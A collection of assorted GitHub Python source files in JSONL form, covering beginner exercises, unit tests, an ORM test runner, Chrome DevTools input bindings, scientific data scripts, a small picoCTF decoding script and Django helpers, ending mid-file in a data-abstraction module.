+{"seq_id":"33200265546","text":"def run():\n    user_number = int(input(\"Write a number: \"))\n    a = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]\n    new = []\n    for i in a:\n        if i < user_number:\n            new.append(i)\n    print(new)\n\nif __name__ == \"__main__\":\n    run()","repo_name":"eduardo-bau/practice_python","sub_path":"P3_list_less_than_ten.py","file_name":"P3_list_less_than_ten.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72568965495","text":"import unittest\nfrom ddt import ddt,unpack,data\n\nlist1 = [{\"value1\":1,\"value2\":2},{\"value1\":2,\"value2\":2}]\n@ddt\nclass myTest1(unittest.TestCase):\n    # @data({\"value1\":1,\"value2\":2},{\"value1\":2,\"value2\":2})\n    # @unpack\n    # def test_b1(self,value1,value2):\n    #     print(f\"第一个数是{value1},第二个数是{value2}\")\n    #     self.assertEqual(value1,value2,\"两个数不相等\")\n    @data(*list1)\n    @unpack\n    def test_b1(self, value1, value2):\n        print(f\"第一个数是{value1},第二个数是{value2}\")\n        self.assertEqual(value1, value2, \"两个数不相等\")\n\nif __name__ == '__main__':\n    unittest.main(verbosity=2)","repo_name":"JOJOisAgoodman/test1","sub_path":"接口第二天/unittest学习/ddt学习/列表传参_多参数(列表元素为字典).py","file_name":"列表传参_多参数(列表元素为字典).py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17716076869","text":"# Definition for singly-linked list.\n# class ListNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution(object):\n    def removeNthFromFront(self, head, n):\n        if n == 0:\n            return head.next\n        else:\n            head.next = self.removeNthFromFront(head.next, n-1)\n            return head\n        \n    def removeNthFromEnd(self, head, n):\n        \"\"\"\n        :type head: ListNode\n        :type n: int\n        :rtype: ListNode\n        \"\"\"\n        size = 0\n        node = head\n        while node:\n            size += 1\n            node = node.next\n        return self.removeNthFromFront(head, size - n)\n","repo_name":"GyungheePark/LeetCode","sub_path":"019/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"19218404209","text":"import asyncio\nimport os\nimport unittest\n\nfrom asyncorm.application import configure_orm\nfrom tests.app_1.models import Author, Book\n\nconfig_file = os.path.join(os.getcwd(), \"tests\", \"asyncorm.ini\")\norm_app = configure_orm(config_file)\n\nloop = orm_app.loop\n\ndrop_tables = [\n    \"Publisher\",\n    \"Author\",\n    \"library\",\n    \"Organization\",\n    \"Developer\",\n    \"Client\",\n    \"Developer_Organization\",\n    \"Author_Publisher\",\n    \"Appointment\",\n    \"Reader\",\n    \"Skill\",\n]\n\n\nasync def clear_table(table_name):\n    query = orm_app.db_backend._construct_query([{\"action\": \"_db__drop_table\", \"table_name\": table_name}])\n    await orm_app.db_backend.request(query)\n\n\nfor table_name in drop_tables:\n    task = loop.create_task(clear_table(table_name))\n    loop.run_until_complete(asyncio.gather(task))\n\norm_app.sync_db()\n\n\nasync def create_book(x):\n    book = Book(name=\"book name {}\".format(str(x)), content=\"hard cover\")\n\n    await book.save()\n\n\nasync def create_author(x):\n    author = Author(name=\"foo_boy {}\".format(str(x)), age=23)\n\n    await author.save()\n\n\n# create some test models\nfor x in range(3):\n    task = loop.create_task(create_author(x))\n    loop.run_until_complete(asyncio.gather(task))\n\nfor x in range(300):\n    task = loop.create_task(create_book(x))\n    loop.run_until_complete(asyncio.gather(task))\n\n\nif __name__ == \"__main__\":\n    from tests.test_fields import FieldTests\n    from tests.test_manage import ManageTestMethods\n    from tests.test_migration import MigrationTests\n    from tests.test_models import ModelTests\n    from tests.test_module import ModuleTests\n    from tests.test_serializers import SerializerTests\n\n    unittest.main()\n","repo_name":"monobot/asyncorm","sub_path":"tests/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"22"}
+{"seq_id":"41567835945","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Feb 15 12:32:10 2020\r\n\r\n@author: Dani\r\n\"\"\"\r\n\r\n# packages\r\nimport os\r\nfrom optparse import OptionParser\r\n\r\n# Release information\r\n__version__ = '0.2'\r\n_scriptname = 'biospa_header'\r\n_verdata = 'Feb 2020'\r\n_devflag = True\r\n\r\n# Option parser\r\n\r\nparser = OptionParser()\r\nparser.add_option(\"-i\", \"--input\",\r\n                  dest=\"inputfile\",\r\n                  metavar=\"INPUT\",\r\n                  help=\"input file to copy pattern\")\r\nparser.add_option(\"-o\", \"--output\",\r\n                  dest=\"outfolder\",\r\n                  metavar=\"OUTPUT\",\r\n                  help=\"output folder where files will be saved\",\r\n                  default='Output')\r\n\r\n(options, args) = parser.parse_args()\r\n\r\n# Program Header\r\nprint('\\n====================================================\\n')\r\nprint(_scriptname + ' script, v' + __version__, _verdata +\r\n      '\\n =-= by Daniel Martinez =-=')\r\nif _devflag:\r\n    print('\\nWARNING! THIS IS JUST A DEVELOPMENT SUBRELEASE.' +\r\n          '\\nUSE IT AT YOUR OWN RISK!\\n')\r\nprint('\\n====================================================\\n')\r\n\r\n# create folder\r\nos.mkdir(str(options.outfolder))\r\n\r\npath = os.getcwd()\r\n\r\noutdir = path + '\\\\' + str(options.outfolder)\r\n\r\n# open pattern file and store times as variable\r\nsource = open(str(options.inputfile), 'rb')\r\nf1 = source.readlines()\r\ntimes = f1[2]\r\nsource.close()\r\n\r\n# list all the files with txt extension\r\nfiles = []\r\nfor file in os.listdir(path):\r\n    if file.endswith(\".txt\"):\r\n        files.append(file)\r\n\r\nfor file in files:\r\n    dest = open(file, 'rb')\r\n    f2 = dest.readlines()\r\n    new_file = outdir + '\\\\' + str(file)\r\n    f2[2] = times\r\n    # print(new_file)\r\n    dest2 = open(new_file, 'wb')\r\n    for line in f2:\r\n        dest2.write(line)\r\n    dest.close()\r\n    dest2.close()\r\n","repo_name":"dmartimarti/PG_Metformin","sub_path":"biospa_header.py","file_name":"biospa_header.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20617204209","text":"from enum import Enum\nfrom typing import Any, List\n\nfrom .base import ChromeCommand\n\n\nclass TouchPoint:\n    def __init__(self, state: str, x: int, y: int, radiusX: int=None, radiusY: int=None, rotationAngle: float=None, force: float=None, id: float=None):\n        # State of the touch point.\n        self.state = state\n        # X coordinate of the event relative to the main frame's viewport.\n        self.x = x\n        # Y coordinate of the event relative to the main frame's viewport. 0 refers to the top of the viewport and Y increases as it proceeds towards the bottom of the viewport.\n        self.y = y\n        # X radius of the touch area (default: 1).\n        self.radiusX = radiusX\n        # Y radius of the touch area (default: 1).\n        self.radiusY = radiusY\n        # Rotation angle (default: 0.0).\n        self.rotationAngle = rotationAngle\n        # Force (default: 1.0).\n        self.force = force\n        # Identifier used to track touch sources between events, must be unique within an event.\n        self.id = id\n\nGestureSourceType = Enum(\"GestureSourceType\", \"default touch mouse\")\nGestureSourceType.__doc__ = \"\"\"\"\"\"\n\nclass dispatchKeyEvent(ChromeCommand):\n    \"\"\"Dispatches a key event to the page.\"\"\"\n\n    def __init__(self, type: str, modifiers: int=None, timestamp: float=None, text: str=None, unmodifiedText: str=None, keyIdentifier: str=None, code: str=None, key: str=None, windowsVirtualKeyCode: int=None, nativeVirtualKeyCode: int=None, autoRepeat: bool=None, isKeypad: bool=None, isSystemKey: bool=None):\n        # Type of the key event.\n        self.type = type\n        # Bit field representing pressed modifier keys. Alt=1, Ctrl=2, Meta/Command=4, Shift=8 (default: 0).\n        self.modifiers = modifiers\n        # Time at which the event occurred. Measured in UTC time in seconds since January 1, 1970 (default: current time).\n        self.timestamp = timestamp\n        # Text as generated by processing a virtual key code with a keyboard layout. Not needed for for <code>keyUp</code> and <code>rawKeyDown</code> events (default: \"\")\n        self.text = text\n        # Text that would have been generated by the keyboard if no modifiers were pressed (except for shift). Useful for shortcut (accelerator) key handling (default: \"\").\n        self.unmodifiedText = unmodifiedText\n        # Unique key identifier (e.g., 'U+0041') (default: \"\").\n        self.keyIdentifier = keyIdentifier\n        # Unique DOM defined string value for each physical key (e.g., 'KeyA') (default: \"\").\n        self.code = code\n        # Unique DOM defined string value describing the meaning of the key in the context of active modifiers, keyboard layout, etc (e.g., 'AltGr') (default: \"\").\n        self.key = key\n        # Windows virtual key code (default: 0).\n        self.windowsVirtualKeyCode = windowsVirtualKeyCode\n        # Native virtual key code (default: 0).\n        self.nativeVirtualKeyCode = nativeVirtualKeyCode\n        # Whether the event was generated from auto repeat (default: false).\n        self.autoRepeat = autoRepeat\n        # Whether the event was generated from the keypad (default: false).\n        self.isKeypad = isKeypad\n        # Whether the event was a system key event (default: false).\n        self.isSystemKey = isSystemKey\n\n\n\nclass dispatchMouseEvent(ChromeCommand):\n    \"\"\"Dispatches a mouse event to the page.\"\"\"\n\n    def __init__(self, type: str, x: int, y: int, modifiers: int=None, timestamp: float=None, button: str=None, clickCount: int=None):\n        # Type of the mouse event.\n        self.type = type\n        # X coordinate of the event relative to the main frame's viewport.\n        self.x = x\n        # Y coordinate of the event relative to the main frame's viewport. 0 refers to the top of the viewport and Y increases as it proceeds towards the bottom of the viewport.\n        self.y = y\n        # Bit field representing pressed modifier keys. Alt=1, Ctrl=2, Meta/Command=4, Shift=8 (default: 0).\n        self.modifiers = modifiers\n        # Time at which the event occurred. Measured in UTC time in seconds since January 1, 1970 (default: current time).\n        self.timestamp = timestamp\n        # Mouse button (default: \"none\").\n        self.button = button\n        # Number of times the mouse button was clicked (default: 0).\n        self.clickCount = clickCount\n\n\n\nclass dispatchTouchEvent(ChromeCommand):\n    \"\"\"Dispatches a touch event to the page.\"\"\"\n\n    def __init__(self, type: str, touchPoints: List, modifiers: int=None, timestamp: float=None):\n        # Type of the touch event.\n        self.type = type\n        # Touch points.\n        self.touchPoints = touchPoints\n        # Bit field representing pressed modifier keys. Alt=1, Ctrl=2, Meta/Command=4, Shift=8 (default: 0).\n        self.modifiers = modifiers\n        # Time at which the event occurred. Measured in UTC time in seconds since January 1, 1970 (default: current time).\n        self.timestamp = timestamp\n\n\n\nclass emulateTouchFromMouseEvent(ChromeCommand):\n    \"\"\"Emulates touch event from the mouse event parameters.\"\"\"\n\n    def __init__(self, type: str, x: int, y: int, timestamp: float, button: str, deltaX: float=None, deltaY: float=None, modifiers: int=None, clickCount: int=None):\n        # Type of the mouse event.\n        self.type = type\n        # X coordinate of the mouse pointer in DIP.\n        self.x = x\n        # Y coordinate of the mouse pointer in DIP.\n        self.y = y\n        # Time at which the event occurred. Measured in UTC time in seconds since January 1, 1970.\n        self.timestamp = timestamp\n        # Mouse button.\n        self.button = button\n        # X delta in DIP for mouse wheel event (default: 0).\n        self.deltaX = deltaX\n        # Y delta in DIP for mouse wheel event (default: 0).\n        self.deltaY = deltaY\n        # Bit field representing pressed modifier keys. Alt=1, Ctrl=2, Meta/Command=4, Shift=8 (default: 0).\n        self.modifiers = modifiers\n        # Number of times the mouse button was clicked (default: 0).\n        self.clickCount = clickCount\n\n\n\nclass synthesizePinchGesture(ChromeCommand):\n    \"\"\"Synthesizes a pinch gesture over a time period by issuing appropriate touch events.\"\"\"\n\n    def __init__(self, x: int, y: int, scaleFactor: float, relativeSpeed: int=None, gestureSourceType: \"GestureSourceType\"=None):\n        # X coordinate of the start of the gesture in CSS pixels.\n        self.x = x\n        # Y coordinate of the start of the gesture in CSS pixels.\n        self.y = y\n        # Relative scale factor after zooming (>1.0 zooms in, <1.0 zooms out).\n        self.scaleFactor = scaleFactor\n        # Relative pointer speed in pixels per second (default: 800).\n        self.relativeSpeed = relativeSpeed\n        # Which type of input events to be generated (default: 'default', which queries the platform for the preferred input type).\n        self.gestureSourceType = gestureSourceType\n\n\n\nclass synthesizeScrollGesture(ChromeCommand):\n    \"\"\"Synthesizes a scroll gesture over a time period by issuing appropriate touch events.\"\"\"\n\n    def __init__(self, x: int, y: int, xDistance: int=None, yDistance: int=None, xOverscroll: int=None, yOverscroll: int=None, preventFling: bool=None, speed: int=None, gestureSourceType: \"GestureSourceType\"=None, repeatCount: int=None, repeatDelayMs: int=None, interactionMarkerName: str=None):\n        # X coordinate of the start of the gesture in CSS pixels.\n        self.x = x\n        # Y coordinate of the start of the gesture in CSS pixels.\n        self.y = y\n        # The distance to scroll along the X axis (positive to scroll left).\n        self.xDistance = xDistance\n        # The distance to scroll along the Y axis (positive to scroll up).\n        self.yDistance = yDistance\n        # The number of additional pixels to scroll back along the X axis, in addition to the given distance.\n        self.xOverscroll = xOverscroll\n        # The number of additional pixels to scroll back along the Y axis, in addition to the given distance.\n        self.yOverscroll = yOverscroll\n        # Prevent fling (default: true).\n        self.preventFling = preventFling\n        # Swipe speed in pixels per second (default: 800).\n        self.speed = speed\n        # Which type of input events to be generated (default: 'default', which queries the platform for the preferred input type).\n        self.gestureSourceType = gestureSourceType\n        # The number of times to repeat the gesture (default: 0).\n        self.repeatCount = repeatCount\n        # The number of milliseconds delay between each repeat. (default: 250).\n        self.repeatDelayMs = repeatDelayMs\n        # The name of the interaction markers to generate, if not empty (default: \"\").\n        self.interactionMarkerName = interactionMarkerName\n\n\n\nclass synthesizeTapGesture(ChromeCommand):\n    \"\"\"Synthesizes a tap gesture over a time period by issuing appropriate touch events.\"\"\"\n\n    def __init__(self, x: int, y: int, duration: int=None, tapCount: int=None, gestureSourceType: \"GestureSourceType\"=None):\n        # X coordinate of the start of the gesture in CSS pixels.\n        self.x = x\n        # Y coordinate of the start of the gesture in CSS pixels.\n        self.y = y\n        # Duration between touchdown and touchup events in ms (default: 50).\n        self.duration = duration\n        # Number of times to perform the tap (e.g. 2 for double tap, default: 1).\n        self.tapCount = tapCount\n        # Which type of input events to be generated (default: 'default', which queries the platform for the preferred input type).\n        self.gestureSourceType = gestureSourceType\n\n\n\n","repo_name":"llimllib/chrome-control","sub_path":"chrome_control/Input.py","file_name":"Input.py","file_ext":"py","file_size_in_byte":9602,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"22"}
+{"seq_id":"981646052","text":"#!/usr/bin/env python\n\ncode = [16, 9, 3, 15, 3, 20, 6, '{', 20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14, '}']\n\ninit = 65 - 1  # 'A' position in ascii table\n\nfor elem in code:\n    if type(elem) == int:\n        print(chr(init+elem), end='')\n    else:\n        print(elem, end='')\nprint()\n","repo_name":"sanchyy/CTF_writeups","sub_path":"picoCTF2019/scripts/numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31060297831","text":"#!/usr/bin/python\n\nfrom sys import argv, exit\nimport numpy as np\nfrom scipy.interpolate import interp1d\nimport os\nimport re\nimport netCDF4 as nc\n\n\n#-----------------------------------------------------------------------------\n#-- getTimes\n#--   collect the time for the variables in the files\n#--   we expect the variable names to have the form ICE_XXX\n#--   where XXX is a number (k.b.p.)\n#--\ndef getTimes(filelist):\n    floatexp = '[0-9]*[\\.0-9][0-9]*'\n    rr=re.compile(\"ICE_(\"+floatexp+\")\")\n    times = {}\n\n    for f in filelist:\n        rootgrp = nc.Dataset(f, 'r')\n       \n        vkeys=[x for x in rootgrp.variables.keys()]\n\n        for t in vkeys:\n            m = rr.match(t)\n            if (m != None):\n                e = m.groups()\n                times[float(e[0])] = (e[0], f)\n            #-- end if\n        #-- end for\n    #-- end for\n    return times\n#-- end def\n    \n\n\n#-----------------------------------------------------------------------------\n#-- getBounds\n#--   find the times\ndef getBounds(times, target_time):\n    i = 0\n\n    tHi = -1\n    tLo = -1\n\n    if (target_time >= times[0]) and (target_time < times[-1]):\n\n        while (i < len(times)) and (times[i] < target_time) :\n            i += 1\n        #-- end while\n\n        if (i > 0) :    \n            tHi = times[i]\n            tLo = times[i-1]\n        #-- end if\n    #-- end if\n\n    return tLo, tHi\n#-- end def    \n\n\n\n#-----------------------------------------------------------------------------\n#-- extractData\n#--   extract ice data - we assume the variabl names stat with \"ICE_\"\n#--\ndef extractData(times, tCur):\n    print(\"getting 'ICE_\"+times[tCur][0]+\"' from \"+times[tCur][1])\n    rootgrp = nc.Dataset(times[tCur][1], 'r')\n    return rootgrp.variables['ICE_'+times[tCur][0]]\n#-- end def\n\n\n#-----------------------------------------------------------------------------\n#-- usage\n#--\ndef usage(pApp):\n    print(pApp+ \" - interpolating ice\")\n    print(\"Usag;\")\n    print(\"  \" + pApp + \" <target-time> <file-list>\")\n    print(\"where\")\n    print(\"  taret-time  time for which to do the interpolation\")\n    print(\"  file_list   list of files containing ice data\")\n    print(\"              (ass: veriable name start with 'ICE_')\")\n#-- end def\n\ndef doInterpolation(target_time, filelist):\n    ice_new = None\n    times = getTimes(filelist)\n    tkeys = sorted(list(times))\n    print(\"Range: [\"+str(tkeys[0])+\", \"+str(tkeys[-1])+\"]\")\n\n    tLo, tHi = getBounds(tkeys, target_time)\n    if (tLo >= 0):\n\n        print(\"Bounds: \"+str(tLo)+\", \"+str(tHi))\n        v1 = np.array(extractData(times, tLo))\n        v2 = np.array(extractData(times, tHi))\n        x_range = [tLo, tHi]\n        v_range = [v1, v2]\n        interp_cur = interp1d(x_range, v_range, kind='linear', axis=0)\n        ice_new = interp_cur(target_time)\n\n    else:\n        print(\"Value \"+str(target_time)+\" out of range [\"+str(tkeys[0])+\", \"+str(tkeys[-1])+\"]\")\n\n    return ice_new\n#-- end def\n              \n#-- main\n# if len(argv) > 2:\n#     target_time = float(argv[1])\n#     filelist = list(argv[2:])\n#     print(\"target time \"+str(target_time))\n#     print(\"data files  \"+str(filelist))\n#     ice_new = interp_cur(target_time)\n\n#     print(\"----- \"+str(tLo)+\" -----\")\n#     print(str(v1))\n#     print(\"----- \"+str(target_time)+\" -----\")\n#     print(str(ice_new))\n#     print(\"----- \"+str(tHi)+\" -----\")\n#     print(str(v2))\n\n \n#     times = getTimes(filelist)\n#     tkeys = sorted(list(times))\n#     print(\"Range: [\"+str(tkeys[0])+\", \"+str(tkeys[-1])+\"]\")\n#     print(times[6.5])\n\n#     tLo, tHi = getBounds(tkeys, target_time)\n#     if (tLo >= 0):\n\n#         print(\"Bounds: \"+str(tLo)+\", \"+str(tHi))\n#         v1 = np.array(extractData(times, tLo))\n#         v2 = np.array(extractData(times, tHi))\n#         x_range = [tLo, tHi]\n#         v_range = [v1, v2]\n#         interp_cur = interp1d(x_range, v_range, kind='linear', axis=0)\n#         ice_new = interp_cur(target_time)\n\n#         print(\"----- \"+str(tLo)+\" -----\")\n#         print(str(v1))\n#         print(\"----- \"+str(target_time)+\" -----\")\n#         print(str(ice_new))\n#         print(\"----- \"+str(tHi)+\" -----\")\n#         print(str(v2))\n#     else:\n#         print(\"Value \"+str(target_time)+\" out of range [\"+str(tkeys[0])+\", \"+str(tkeys[-1])+\"]\")\n#     #-- end if\n# else:\n#    usage(argv[0])\n#-- end if\n","repo_name":"uzh/QHG","sub_path":"QHG3/useful_stuff/oldstuff/ice_ip.py","file_name":"ice_ip.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"14946312901","text":"#!/usr/bin/env python\nimport os\nimport sys\n\nimport django\nfrom django.conf import settings\n\nDEFAULT_SETTINGS = dict(\n    DEBUG=True,\n    USE_TZ=True,\n    TIME_ZONE='UTC',\n    DATABASES={\n        \"default\": {\n            \"ENGINE\": \"django.db.backends.sqlite3\",\n            \"NAME\": \":memory:\",\n        }\n    },\n    MIDDLEWARE_CLASSES=[\n        \"django.contrib.sessions.middleware.SessionMiddleware\",\n        \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n        \"django.contrib.messages.middleware.MessageMiddleware\"\n    ],\n    ROOT_URLCONF=\"pinax.stripe.urls\",\n    INSTALLED_APPS=[\n        \"django.contrib.auth\",\n        \"django.contrib.contenttypes\",\n        \"django.contrib.sessions\",\n        \"django.contrib.sites\",\n        \"pinax.stripe\",\n    ],\n    SITE_ID=1,\n    PINAX_STRIPE_PUBLIC_KEY=\"\",\n    PINAX_STRIPE_SECRET_KEY=\"\",\n    PINAX_STRIPE_SUBSCRIPTION_REQUIRED_EXCEPTION_URLS=[\"pinax_stripe_subscription_create\"],\n    PINAX_STRIPE_SUBSCRIPTION_REQUIRED_REDIRECT=\"pinax_stripe_subscription_create\",\n    PINAX_STRIPE_HOOKSET=\"pinax.stripe.tests.hooks.TestHookSet\"\n)\n\n\ndef run(*args):\n    if not settings.configured:\n        settings.configure(**DEFAULT_SETTINGS)\n\n    django.setup()\n\n    parent = os.path.dirname(os.path.abspath(__file__))\n    sys.path.insert(0, parent)\n\n    django.core.management.call_command(\n        \"makemigrations\",\n        \"pinax_stripe\",\n        *args\n    )\n\n\nif __name__ == \"__main__\":\n    run(*sys.argv[1:])\n","repo_name":"pinax/pinax-stripe-light","sub_path":"makemigrations.py","file_name":"makemigrations.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":677,"dataset":"github-code","pt":"22"}
+{"seq_id":"51602676","text":"from django.db.models import Count\n\nfrom interfaces.models import Interfaces\n\n\ndef get_count_by_project(datas):\n    \"\"\"\n    1.统计项目中接口、用例、配置、套件的数量\n    2.对时间进行格式化\n    :param datas:\n    :return:\n    \"\"\"\n    for item in datas:\n        create_time_list = item.get('create_time').split('T')\n        first_part = create_time_list[0]\n        second_part = create_time_list[1].split('.')[0]\n        item['create_time'] = first_part + ' ' + second_part\n\n        project_id = item['id']\n        interfaces_testcase_obj = Interfaces.objects.values('id').annotate(testcases=Count('testcases')).\\\n            filter(project_id=project_id)\n\n    return interfaces_testcase_obj\n\n\n\n","repo_name":"liqi629/DjangoDev03","sub_path":"apps/projects/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25908778535","text":"# -*- coding: utf-8 -*-\n\nimport os;\nimport numpy as np;\nimport subprocess as sp;\nfrom time import time;\nimport sys\n\n#========================== Cálculo de intersección ==========================================    \n\nif len(sys.argv) < 3:\n    print(\"Usage: python interx.py ../subs_dir/ ../subs_meshes_dir/\");\n    exit(1);\nsubs_path = sys.argv[1]\nmeshes_path = sys.argv[2]\nsp.call(['make']);\nfor sub in os.listdir(subs_path):\n    t1 = time();\n    Lhemi_path = meshes_path+sub+'/lh.obj'; # left mesh path\n    Rhemi_path = meshes_path+sub+'/rh.obj'; # right mesh path\n    \n    Lbundles_path = subs_path+sub+'/aligned_T1/left/'; # bundles path\n    Rbundles_path = subs_path+sub+'/aligned_T1/right/'; # bundles path\n\n    if not os.path.exists(Lbundles_path) or not os.path.exists(Rbundles_path):\n        print(\"No aligned bundles found. Align the bundles with the bundle alignment step and try again.\");\n        sys.exit(1);\n    \n    Lintersection_path = os.getcwd() + '/intersection/' + sub + '/' + sub + '_left-hemi/'; # left intersection path\n    Rintersection_path = os.getcwd() + '/intersection/' + sub + '/' + sub + '_right-hemi/'; # right intersection path\n    \n    if not os.path.exists(os.getcwd() + '/intersection/'):\n        os.mkdir(os.getcwd() + '/intersection/');\n    \n    if not os.path.exists(os.getcwd() + '/intersection/'+ sub):\n        os.mkdir(os.getcwd() + '/intersection/'+sub)\n    \n    sp.call(['./interx', Lhemi_path, Rhemi_path, Lbundles_path, Rbundles_path, Lintersection_path, Rintersection_path]);\n    \n    print('Tiempo de ejecución Ldirect: ' + str(time()-t1) + '[s]');\n    \n    del Lbundles_path, Rbundles_path;","repo_name":"rrichards21/parcellation","sub_path":"6-intersection/interx.py","file_name":"interx.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8358389923","text":"\"\"\"Data abstractions.\"\"\"\nfrom abc import abstractmethod\nfrom collections import defaultdict, namedtuple\nimport copy\nimport os\nimport time\nimport random\nimport re\nimport sys\nimport queue\nimport struct\n\nimport numpy as np\nimport pandas as pd\nimport networkx as nx\n#import metis\n\nimport torch\nfrom torch.utils.data import Dataset, IterableDataset\n\nTYPE_NORMAL_ATTR = 0\nTYPE_INDICATOR = 1\nTYPE_FANOUT = 2\n\ndef maximal_independent_set(graph):\n    nodes = [i for i in graph]\n    #print(nodes)\n    vnum = len(nodes)\n    random_val = [i for i in range(vnum)]\n    random.shuffle(random_val)\n    random_val = dict(zip([i for i in graph], random_val))\n\n    maximal_independent_set = []\n    queue = [i for i in random_val]\n    #removed = []\n    #print(queue)\n\n    while len(queue) > 0:\n        #print(len(queue))\n        for node in queue:\n            neighbor_vals = [random_val[neighbor] for neighbor in graph[node] if neighbor in random_val]\n            #print(min(neighbor_vals), random_val[node])\n            if len(neighbor_vals) == 0 or random_val[node] < min(neighbor_vals):\n                #print('aaa')\n                maximal_independent_set.append(node)\n                queue.remove(node)\n                for neighbor in graph[node]:\n                    if neighbor in queue:\n                        queue.remove(neighbor)\n        random_val = [i for i in range(len(queue))]\n        random.shuffle(random_val)\n        random_val = dict(zip(queue, random_val))\n    return maximal_independent_set\n\ndef time_this(f):\n\n    def timed_wrapper(*args, **kw):\n        start_time = time.time()\n        result = f(*args, **kw)\n        end_time = time.time()\n\n        # Time taken = end_time - start_time\n        print('| func:%r took: %2.4f seconds |' % \\\n              (f.__name__, end_time - start_time))\n        return result\n\n    return timed_wrapper\n\n\n# Column factorization.\n#\n# See estimators::FactorizedProgressiveSampling::update_factor_mask for\n# a description of dominant operators.\n#\n# What each operator projects to.\nPROJECT_OPERATORS = {\n    \"<\": \"<=\",\n    \">\": \">=\",\n    \"!=\": \"ALL_TRUE\",\n    \"<=\": \"<=\",\n    \">=\": \">=\",\n}\n# What each operator projects to for the last subvar, if not the same as other\n# subvars.\nPROJECT_OPERATORS_LAST = {\n    \"<\": \"<\",\n    \">\": \">\",\n    \"!=\": \"!=\",\n}\n# What the dominant operator for each operator is.\nPROJECT_OPERATORS_DOMINANT = {\n    \"<=\": \"<\",\n    \">=\": \">\",\n    \"<\": \"<\",\n    \">\": \">\",\n    \"!=\": \"!=\",\n}\n\n\nclass Column(object):\n    \"\"\"A column.  Data is write-once, immutable-after.\n\n    Typical usage:\n      col = Column('myCol').Fill(data).SetDistribution(domain_vals)\n\n    \"data\" and \"domain_vals\" are NOT copied.\n    \"\"\"\n\n    def __init__(self,\n                 name,\n                 distribution_size=None,\n                 pg_name=None,\n                 factor_id=None,\n                 bit_width=None,\n                 bit_offset=None,\n                 domain_bits=None,\n                 num_bits=None):\n        self.name = name\n\n        # Data related fields.\n        self.data = None\n        self.all_distinct_values = None\n        self.distribution_size = distribution_size\n\n        # Factorization related fields.\n        self.factor_id = factor_id\n        self.bit_width = bit_width\n        self.bit_offset = bit_offset\n        self.domain_bits = domain_bits\n        self.num_bits = num_bits\n\n        # pg_name is the name of the corresponding column in the Postgres db.\n        if pg_name:\n            self.pg_name = pg_name\n        else:\n            self.pg_name = name\n\n    def Name(self):\n        \"\"\"Name of this column.\"\"\"\n        return self.name\n\n    def DistributionSize(self):\n        \"\"\"This column will take on discrete values in [0, N).\n\n        Used to dictionary-encode values to this discretized range.\n        \"\"\"\n        return self.distribution_size\n\n    def ProjectValue(self, value):\n        \"\"\"Bit slicing: returns the relevant bits in binary for a sub-var.\"\"\"\n        assert self.factor_id is not None, \"Only for factorized cols\"\n        return (value >> self.bit_offset) & (2**self.bit_width - 1)\n\n    def ProjectOperator(self, op):\n        assert self.factor_id is not None, \"Only for factorized cols\"\n        if self.bit_offset > 0:\n            # If not found, no need to project.\n            return PROJECT_OPERATORS.get(op, op)\n        # Last subvar: identity (should not project).\n        return op\n\n    def ProjectOperatorDominant(self, op):\n        assert self.factor_id is not None, \"Only for factorized cols\"\n        return PROJECT_OPERATORS_DOMINANT.get(op, op)\n\n    def BinToVal(self, bin_id):\n        assert bin_id >= 0 and bin_id < self.distribution_size, bin_id\n        return self.all_distinct_values[bin_id]\n\n    def ValToBin(self, val):\n        if isinstance(self.all_distinct_values, list):\n            return self.all_distinct_values.index(val)\n        inds = np.where(self.all_distinct_values == val)\n        assert len(inds[0]) > 0, val\n\n        return inds[0][0]\n\n    def FindProjection(self, val):\n        if val in self.all_distinct_values:\n            return (self.ValToBin(val), True)\n        elif val > self.all_distinct_values[-1]:\n            return (len(self.all_distinct_values), False)\n        elif val < self.all_distinct_values[0]:\n            return (-1, False)\n        else:\n            return (next(\n                i for i, v in enumerate(self.all_distinct_values) if v > val),\n                    False)\n\n    def SetDistribution(self, distinct_values):\n        \"\"\"This is all the values this column will ever see.\"\"\"\n        assert self.all_distinct_values is None\n        # pd.isnull returns true for both np.nan and np.datetime64('NaT').\n        is_nan = pd.isnull(distinct_values)\n        contains_nan = np.any(is_nan)\n        dv_no_nan = distinct_values[~is_nan]\n        # IMPORTANT: np.sort puts NaT values at beginning, and NaN values\n        # at end for our purposes we always add any null value to the\n        # beginning.\n        vs = np.sort(np.unique(dv_no_nan))\n        if contains_nan and np.issubdtype(distinct_values.dtype, np.datetime64):\n            vs = np.insert(vs, 0, np.datetime64('NaT'))\n        elif contains_nan:\n            vs = np.insert(vs, 0, np.nan)\n        if self.distribution_size is not None:\n            assert len(vs) == self.distribution_size\n        self.all_distinct_values = vs\n        self.distribution_size = len(vs)\n        return self\n\n    def Fill(self, data_instance, infer_dist=False):\n        assert self.data is None\n        self.data = 